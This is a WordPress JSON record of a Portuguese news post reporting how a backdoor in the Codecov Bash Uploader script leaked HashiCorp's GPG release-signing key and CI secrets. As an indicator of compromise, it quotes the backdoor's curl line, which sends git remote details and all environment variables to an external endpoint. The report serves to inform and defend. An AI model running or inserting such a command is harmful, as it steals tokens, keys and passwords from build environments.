{"id":100037,"date":"2021-04-27T10:22:34","date_gmt":"2021-04-27T08:22:34","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp"},"modified":"2021-04-27T10:22:34","modified_gmt":"2021-04-27T08:22:34","slug":"vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","title":{"rendered":"A introdu\u00e7\u00e3o de c\u00f3digo malicioso no script Codecov resultou na comprometimento da chave PGP da HashiCorp","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

A empresa HashiCorp, conhecida pelo desenvolvimento de ferramentas open-source como Vagrant, Packer, Nomad e Terraform, anunciou a vazamento de uma chave GPG secreta, utilizada para criar assinaturas digitais que verificam lan\u00e7amentos. Os atacantes, que obtiveram acesso \u00e0 chave GPG, potencialmente poderiam fazer modifica\u00e7\u00f5es ocultas nos produtos da HashiCorp, certificando-as com uma assinatura digital v\u00e1lida. Contudo, a empresa afirmou que uma auditoria realizada n\u00e3o encontrou vest\u00edgios de tentativas de tais modifica\u00e7\u00f5es. <\/p>\n

Atualmente, a chave GPG comprometida foi revogada e um novo chave foi implementada. O problema afetou apenas a verifica\u00e7\u00e3o atrav\u00e9s dos arquivos SHA256SUM e SHA256SUM.sig, e n\u00e3o impactou a forma\u00e7\u00e3o de assinaturas digitais para pacotes Linux DEB e RPM, fornecidos atrav\u00e9s de releases.hashicorp.com, assim como os mecanismos de confirma\u00e7\u00e3o de lan\u00e7amentos para macOS e Windows (AuthentiCode). <\/p>\n

O vazamento ocorreu devido ao uso de um script Codecov Bash Uploader (codecov-bash) na infraestrutura, destinado a carregar relat\u00f3rios de cobertura de sistemas de integra\u00e7\u00e3o cont\u00ednua. Durante um ataque \u00e0 empresa Codecov, um backdoor foi inserido de forma oculta nesse script, atrav\u00e9s do qual foram enviadas senhas e chaves de criptografia para servidor<\/a> atacantes. <\/p>\n

Para realizar a invas\u00e3o, os atacantes exploraram uma vulnerabilidade no processo de cria\u00e7\u00e3o da imagem Docker do Codecov, que permitiu acessar os dados para acesso ao GCS (Google Cloud Storage), necess\u00e1rios para realizar modifica\u00e7\u00f5es no script Bash Uploader, que era distribu\u00eddo pelo site codecov.io. As altera\u00e7\u00f5es foram feitas ainda em 31 de janeiro, e permaneceram despercebidas por dois meses, permitindo que os criminosos extra\u00edssem informa\u00e7\u00f5es armazenadas em ambientes de sistemas de integra\u00e7\u00e3o cont\u00ednua dos clientes. Com o c\u00f3digo malicioso adicionado, os invasores puderam acessar informa\u00e7\u00f5es sobre o reposit\u00f3rio Git em teste e todas as vari\u00e1veis de ambiente, incluindo tokens, chaves de criptografia e senhas transmitidas para os sistemas de integra\u00e7\u00e3o cont\u00ednua para garantir acesso ao c\u00f3digo dos aplicativos, reposit\u00f3rios e servi\u00e7os, como Amazon Web Services e GitHub. <\/p>\n

Al\u00e9m da chamada direta, o script Codecov Bash Uploader foi utilizado em outros carregadores, como Codecov-action (Github), Codecov-circleci-orb e Codecov-bitrise-step, cujos usu\u00e1rios tamb\u00e9m est\u00e3o expostos ao problema. Todos os usu\u00e1rios do codecov-bash e produtos relacionados s\u00e3o aconselhados a auditar suas infraestruturas e tamb\u00e9m a alterar senhas e chaves de criptografia. A verifica\u00e7\u00e3o de um backdoor no script pode ser feita pela presen\u00e7a da linha curl -sm 0.5 -d \"$(git remote -v)<<< ENV $(env)" http:\/\/\/upload\/v2 || true
\n
Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u043b\u0438\u0437\u044b. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a GPG-\u043a\u043b\u044e\u0447\u0443, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u043b\u0438 \u0432\u043d\u0435\u0441\u0442\u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b HashiCorp, \u0437\u0430\u0432\u0435\u0440\u0438\u0432 \u0438\u0445 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u0441\u043b\u0435\u0434\u043e\u0432 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0439 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100037","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47 A inje\u00e7\u00e3o de c\u00f3digo malicioso no script Codecov resultou na comprometimento da chave PGP da HashiCorp | ProHoster","description":"A empresa HashiCorp, conhecida pelo desenvolvimento de ferramentas open source como Vagrant, Packer, Nomad e Terraform, anunciou a vazamento de uma chave GPG privada, utilizada para a cria\u00e7\u00e3o de assinaturas digitais que verificam os lan\u00e7amentos.","canonical_url":"https:\/\/prohoster.info\/pt\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"pt_PT","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442 Codecov \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 PGP-\u043a\u043b\u044e\u0447\u0430 HashiCorp | ProHoster","og:description":"\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u043b\u0438\u0437\u044b.","og:url":"https:\/\/prohoster.info\/pt\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-04-27T08:22:34+00:00","article:modified_time":"2021-04-27T08:22:34+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100037","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-04-27 08:40:28","updated":"2022-10-05 15:50:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts\/100037","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/comments?post=100037"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts\/100037\/revisions"}],"predecessor-version":[{"id":172925,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/posts\/100037\/revisions\/172925"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/media?parent=100037"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/categories?post=100037"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/pt\/wp-json\/wp\/v2\/tags?post=100037"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}